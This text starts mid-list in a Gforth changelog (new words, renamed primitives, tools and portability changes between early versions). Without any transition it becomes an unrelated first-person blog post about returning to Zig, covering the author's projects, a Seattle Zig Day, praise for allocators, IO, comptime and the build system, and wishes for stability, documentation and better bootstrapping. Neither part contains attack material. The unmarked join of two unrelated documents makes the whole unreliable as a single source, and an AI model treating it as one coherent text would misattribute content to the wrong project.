  SP0, RP0, LP0 (recommended for future use) for S0, R0, L0.
Renamed PARSE-WORD into SWORD (PARSE-WORD is used with the meaning of
  NAME in OpenBoot and dpans6 A.6.2.2008)
Added FPICK (suggested by Julian Noble).
Added EXCEPTION.
S" gforth" ENVIRONMENT? now produces the version-string.
Changed representation of types in struct package, and correspondingly
  changed names.

Miscellaneous:

Plain text documentation is now available in doc/gforth.txt.
Documentation improvements.
Wordlist structure changed.
Added mini-oof.
Reorganized files: added directories and reorganized many files into
  them; renamed files into 8.3 format to work with completely broken
  systems (but there are again some files that won't work there).
Bug fixes.
Various changes without log information only known as mega-patches.
Cross compiler now also supports compilation only for undefined or forward
referenced words. Plugins to support some native code generation
(for PSC1000).
More files in the compat library.

User-visible changes between 0.2.1 and 0.3.0:

Stack overflow detection by memory protection on most systems
    (allocation with mmap).
gforth.fi is now fully relocatable.
fully relocatable images are now easier to create.
added primitives K and UNDER+.
Win32 support.
Improved support for embedded controllers and other deprived environments.
some bug fixes.
added concept index; other documentation improvements.

User-visible changes between 0.2.0 and 0.2.1:

Bug fixes

User-visible changes between 0.1beta and 0.2.0:

Portability and Installation:

Support architectures with buggy long longs (alpha-dec-osf).
Better support for DOS and other non-Unix systems.
Size changes through the command line are passed to the image (and
saved with savesystem); the preamble specifies an interpreter and is
propagated by save-system.

Tools:

Improved etags support.
more.fs allows output paging.
Added compat/ directory containing ANS implementations of Gforth features.
Added tiny multitasker (tasker.fs).
Added two alternatives for object-oriented programming: oof.fs, objects.fs.
Added ans-report.fs (reports which words are used from which wordset).

New words:

Changed POPEN and PCLOSE to OPEN-PIPE and CLOSE-PIPE.
Added FORM, ROWS, and COLS.
added primitives EMIT-FILE, STDOUT, STDERR.
Added TABLEs (case-sensitive wordlists).
added POSTPONE,.
Added the ability to combine arbitrary interpretation and compilation
semantics (INTERPRET/COMPILE:); state-smart words were generally
rewritten to use that mechanism.

Changes to existing words:

EMIT and TYPE now work through file words (and are redirectable).
HEADER now stores the compilation wordlist in the header and REVEAL
reveals into that wordlist.
changed behaviour of SYSTEM (no longer returns wretval, but puts it in
$?)  added (SYSTEM) ( c_addr u -- wretval wior ).
' and ['] now give an error for compile-only words.

It has been about four months since I returned to Zig after being absent for a few years. In this time, I have written some software in Zig and reengaged with the community, online and in person. I decided to share some of that experience, including what I have liked about Zig so far and what I haven't. I'll include some comparisons to Rust along the way since that was my previous go-to language.

Projects

The first project I started in Zig was snurl. It is a library for interacting with the smallnet (Gemini, Finger, Gopher, Spartan, and such). My goal has been to provide an alternative to curl for the smallnet, with similar testing and fuzzing requirements but on a smaller scale. I wanted to roughly follow TigerStyle insofar as it made sense for the project.

Something I ran into early on was that the fuzzer didn't actually work. When getting excited about fuzzing in my last post, I didn't realize that the feature had not yet been completed. This isn't surprising, considering Zig's status, but it was disappointing, especially since the fuzzer is demonstrated in the generated main.zig file provided by zig init.

After this, I wrote a two programs which I have not published yet. The first is a small TUI typer racer. It was simpler than I expected to get a minimum version working so far. The second is an n-body simulator with stellar evolution using raylib.

Zig Day

The most exciting opportunity in the last few months was the chance to go to a local Zig Day. I learned of Zig Day Seattle occurring on Lobsters on August 20th. I was ecstatic to learn that there was a Zig Day in my area. Then I saw Andrew Kelley would be there and became more excited.

Zig Days are local meetups where people interested in Zig hang out, work on their projects together, and talk about Zig. For this Zig Day, I decided to work on snurl. A friend, Evin Yulo also decided to attend.

The event itself occurred in the Bothell library, moved there from the Bellevue library after so many people signed up that capacity was overwhelmed. Having the creator of Zig at the event will do that.

I love the format of these Zig Days and I'm glad they are a part of the community. Since they are run by local groups, it gives the whole Zig community a more interconnected feeling. It's a way to interact with other people who are interested in Zig in person. And, in this case, the creator of Zig itself.

I got the chance to talk with other programmers about their projects. Hopefully some ideological cross-pollination occurred that will make all our projects stronger. I ended up working on snurl with evin, who started work on integrating Zig's standard library TLS implementation as alternative backend.

I also briefly talked with Andrew Kelley. I hope Zig's built-in fuzzing gets fixed sometime soon!

Ryan Hendrickson wrote an excellent article outlining more of the events of that day from his perspective if you want more details.

I will definitely be attending Zig Day Seattle again in the future. I may even head down to Portland to catch one before the next local one comes around. I enjoy the opportunity to connect with other people interested in Zig and its values.

What I've Liked

anyzig

I love anyzig. I've had to use zig master and 0.16.0 for different projects, and anyzig has made that doable.

Unfortunately, it breaks outside of directories without a build.zig.zon, meaning if you have tooling that requires a zig command to work, it can only occur in project directories. This breaks autoformatting for my one-off Zig scripts. Maybe a default zig version could be provided in that case.

IO and Allocators

I know it frustrates some people, but I love the fact that you have to pass IO and allocator parameters to functions in Zig.

Allocators

I'll start with allocators, since they've been around longer. For each Zig function you have to accept an explicit allocator parameter. This is different from most programming languages which either use a default allocator that may be changed globally or one changed by a local context (see Odin).

I like being able to change allocators for different parts of code. You might want an arena allocator for some things but need a general purpose allocator for others. Sometimes a FixedBufferAllocator is all you need to perform an operation. Zig's style makes this all obvious to handle.

I prefer Zig's system to Odin's implicit context system since Zig keeps things explicit. It's clear whether a function allocates memory or not, and hard to accidentally pass in the wrong allocator.

This is also superior to Rust's hidden, infallible allocations that panic when memory is exhausted. They're working on adding explicit allocations, but this will be yet another feature tacked onto the language rather than something built from the ground up.

It's much easier to reason about programs that allocate memory in Zig.

IO

The IO parameter is even more powerful, even if it is newer. It is well worth the breaking changes required to bring it about (even if I skipped the 0.15.0 -> 0.16.0 transition). In Zig, every function that interacts with the underlying operating system (with caveats) requires an "IO" parameter. This provides the context for input, output, and everything else. Porting Zig to new operating systems is mostly just porting IO.

Practically, this is really nice for testing. When testing behavior, you just need to put in a testing IO instance that works as you need it to. You can change the input stream however you want, cause writes to fail, and anything else.

Just like with allocation, passing an IO argument makes it clear which programs are pure and which ones are not. You can tell at a glace whether or not a program is going to modify something external.

Zig has a really good track record of keeping things simple while also adding powerful features. Instead of adding 100 small features that do slightly different similar things, it tends to provide one major feature that supports all the various other use-cases. Low floor, high ceiling.

Comptime

I love comptime. It's a seamless way to do metaprogramming and precomputation all in one. Other people have written more detailed accounts so I shall move on.

Build System

Zig's build system is stellar. So much so that companies like Uber have adopted it for their software written in other languages.

One thing I like about it is that I can integrate other tools with it seamlessly in ways that Cargo complains about. This is especially important for one of my projects that involves code generation.

Dependency Culture

Zig has an excellent dependency culture. The main ethos is simple: avoid. When you don't need a dependency, don't add one. However, when you do, it's often a battle-tested library that Zig can effortlessly integrate with translate-c. You can easily also vendor in external dependencies and audit their code.

Most of my Zig programs have about one or two direct Zig dependencies, with zero indirect dependencies. This makes the codebase much easier to audit and control.

This stands in stark contrast to Rust, where the smallest of my projects regularly have a few direct and dozens of indirect dependencies.

This is thanks both to Zig's dependency culture and the fact that essential features like reflection, random number generation, clean error handling, and JSON parsing are built into the language or standard library rather than maintained as separate individual libraries. No need to depend on serde or syn in every program.

Zig encourages careful consideration before adding dependencies, and I appreciate that.

Handling Errors Effortlessly

Zig pushes programmers to handle errors correctly by default. The laziest way to handle errors in Zig is to use the try keyword and add ! to the function's return type.

This contrasts to Rust, which leads programmers to insert panics into their code. The issue is that it's often easier to panic when prototyping, and then leave that in the code longer than it should be. I've used production code written in Rust that panic instead of returning a proper error.

In Rust you can use ?, which is quicker than unwrap, but you also have to do something like Result<Type, Box<dyn std::error::Error>. That's a mouthful! Alternatively, you can use the anyhow crate and return anyhow::Result, which also provides some nice helper methods. But then you have to add a dependency for reasonable error handling. There's also Zig-style composable errors with yet another library.

Incremental Compilation

The core team members at Zig have been doing amazing work at incremental compilation. If you run zig build --watch -fincremental, the compiler will watch for changes, check exactly what you changed, and then modify only what you've changed down to linking. No effort beyond what's required, so it's faster that human perception even for large codebases. Zig was designed from the ground up to support this behavior.

This makes for a really nice workflow. I can just run the compiler in incremental mode right next to my text editor, and get updates on my code as I save. No time to get distracted with something else. With Rust projects 10+ seconds incremental compilation loops were common even in smaller projects. That's enough time to get distracted but not enough time to be productive doing something else, leaving annoying gaps that Zig eliminates.

Rust is disadvantaged here. It's a stable language that needs to maintain backwards compatibility. This means it can't afford to break things in order to improve compilation speed, at least not to any large degree. Meanwhile, if it makes Zig better, the maintainers are willing to break just about anything to ensure the end result will be perfect.

Currently, Zig only supports incremental compilation on x86_64 on Linux and macOS. If you use another operating system or architecture you won't have access to this feature yet, but in that case it's another thing to look out for!

This makes Zig just a bit more wonderful to work with. I'll take it.

What I'd Like to See

Improved Stability

Like every other user of Zig, I would like to see the standard library become more stable. I know that's one of the last tasks to do before 1.0, and there are many others before then, but it is frustrating to deal with the constant breakage in the ecosystem. My understanding is that that's why 0.17.0 took so long to be released.

Andrew Kelley said at Zig Day that he would like to see 1.0 more than anyone. I believe him, so I will have patience and trust that the final version will be excellent.

This is the one reason I still use Rust for some projects. Some cases require a stable programming language and the ecosystem that provides. But considering the impressive software that's being built in Zig these days, stability isn't everything. And there are projects for which the niceties of Zig outweigh its instability. I can't wait for 1.0.

Lifetime Support

I would like to see more assistance with lifetimes in the Zig compiler. Specifically, I would like to see returning local variables to fail in debug mode, either as a kind of built-in lint (as Andrew Kelley has mentioned wanting to implement) or as literally invalidating that memory after the function returns. That way new users quickly learn to avoid that pattern. Currently, it's easy to unintentionally break your code this way, even if you think you understand lifetimes.

Relatedly, the compiler currently accepts code that will be broken in the future. The compiler lets variables live the entire scope instead of the scope of a block. This means that if you stack-allocate a buffer and return it from a block, that buffer should be invalidated but isn't. My understanding is that this could silently break in a future Zig version.

// This works but will be invalid.
const foo = blk: {
	var buf: [1024]u8 = undefined;
	const n = try writeToBuf(&buf);
	break :blk buf[0..n];
};

More Documentation

Zig is poorly documented. It has enough to get you started, but to continue onward you have to parse intention from sparse doc comments that are sometimes attached to functions. Examples are rare. I still haven't got Zig's standard library TLS working in snurl because neither I nor a friend can figure out how to set up the buffers correctly.

Because of this lack of documentation, a lot of the knowledge for building solid Zig programs is distributed across the Web. If you're well integrated into Zig communities, having read the existing documentation, watched the presentations, and read the code, you can succeed. If you aren't that well integrated, however, it can be a challenge to work effectively.

The benefit of this is that it encourages people to engage in Zig communities (I'm an admin for the Matrix room, for example). While LLMs seek to demolish human collaboration, we need human-to-human collaboration now more than ever. However, we can still have that and nice documentation too. As we all know, people will still ask questions if you have things well-documented. And a good community knows how to point people towards good resources rather than just saying "RTFM".

I would also be curious to see what the intersection of Zig and literate programming could be. My literate programming tool is written in Rust right now, but that might change.

Comptime Allocators

I would love to parse JSON at compile time. For one of my projects, there is a JSON file that is stored inside the binary. It's static and could be parsed at compile time into a collection of structs.

However, the standard library JSON parser requires an allocator. Because there are no allocators that work at compile time, this means that any JSON parsing must be done at runtime. So that's what I did with my project.

I believe there is an intention of adding a JSON parser that does not require an allocator (the data already exists in the JSON string, after all). That will solve the immediate problem, but there are more general cases that may require an allocator. I believe FixedBufferAllocator worked at compile time before and served this purpose. It could do so again.

Better Bootstrapping

Zig's bootstrapping story is impressive. They erased the C++ version of their compiler and replaced it with a small WASM blob and WASM interpreter. The WASM file is a stripped-down version of the compiler that compiles the full Zig compiler to C, which is then compiled by the system C compiler. It's an interesting approach and you should read the linked article if you want more details.

The one caveat to this is that it requires the compiled binary blob checked into the source code. This is better than requiring the full previous compiler (like Rust), but it's not as good as having the full source available for every step of the process at all points. A malicious actor could still sneak something into the blob. More importantly, many distributions (like Debian) cannot properly package Zig at the moment because it's impossible to do so in a way that's compliant with their guidelines.

Their original plan was to use the compiler's C backend to generate a C version of the compiler which would then be maintained separately. They would then have two different source versions. They decided this approach would be too difficult, unfortunately.

Because of this, someone will have to make another Zig compiler in another language (probably C) that will improve the bootstrap process. This is explicitly not something the Zig Software Foundation wants to develop right now. This means that at the moment there is no way to bootstrap Zig fully from source.

This issue isn't just a theoretical problem. Because Zig can't be packaged on Debian, I had to choose another language for one of my projects to ensure wider possible usage.

Fortunately, this issue is temporary. Once Zig is stable, building an alternative compiler should be straightforward. Zig is designed to be a simple language where alternative implementations are humanly achievable, unlike other languages. Currently, the instability means any alternative compiler will be playing a constant game of catch-up, which is probably why the core team doesn't want to manage it while they're rapidly iterating.

Alas, this may also require waiting for 1.0. May it come soon!

Moving Forward

I will continue to use Zig. I'm excited about the direction it's going and I look forward to continuing to be a part of its community. So far, I've found no other programming language that I prefer more than Zig, even with its shortcomings. It's just stable enough that I don't have to make massive changes between releases. It will continue to be my go-to programming language for most projects.

One of these projects is ReTangled. It was previously written in Rust but I grew tired of the massive dependency trees and want to take full advantage of Zig's build system.

I've also been looking to contribute more to Zig directly. Between my limited time as a student, Zig's overflow of contributors already, and the poor documentation, this will be a challenge. But I want to contribute back, make an impact on the project, and become a better software engineer. Thankfully, improving contributor onboarding seems to be a priority for Andrew Kelley moving forward.

I'll also be at future Zig Days in Seattle, if you want to meet and work on Zig projects together!